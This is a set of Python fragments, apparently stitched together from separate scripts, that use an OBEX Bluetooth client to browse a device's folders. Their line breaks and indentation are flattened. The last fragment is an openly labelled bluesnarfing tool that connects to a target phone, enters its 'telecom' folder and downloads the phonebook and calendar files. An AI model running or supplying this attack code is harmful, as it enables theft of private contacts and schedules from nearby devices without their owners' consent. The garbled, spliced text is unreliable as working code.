def connect(self): if self._cli is None: try: self._cli = client.BrowserClient(self._addr, self._port) r = self._cli.connect() if not isinstance(r, responses.ConnectSuccess): self._cli = None except OSError: self._cli = None
if __name__ == "__main__": if len(sys.argv) != 3: sys.stderr.write("Usage: %s <device address> <directory>\n" % sys.argv[0]) sys.exit(1) device_address = sys.argv[1] path = sys.argv[2] services = bluetooth.find_service(uuid="1106", address=device_address) if services: port = services[0]["port"] c = client.BrowserClient(device_address, port) response = c.connect() if not isinstance(response, responses.ConnectSuccess): sys.stderr.write("Failed to connect.\n") sys.exit(1) pieces = path.split("/") for piece in pieces: response = c.setpath(piece) if isinstance(response, responses.FailureResponse): sys.stderr.write("Failed to enter directory.\n") sys.exit(1)
headers, data = r fh = open(filename, "w+") fh.write(data) fh.close() if len(sys.argv) < 3: print(sys.argv[0] + ": <btaddr> <channel>") sys.exit(0) btaddr = sys.argv[1] channel = int(sys.argv[2]) print("Bluesnarfing %s on channel %d" % (btaddr, channel)) c = client.BrowserClient(btaddr, channel) try: r = c.connect() except OSError as e: print("Connect failed. " + str(e)) if isinstance(r, responses.ConnectSuccess): c.setpath("telecom") get_file(c, "cal.vcs") get_file(c, "pb.vcf") c.disconnect()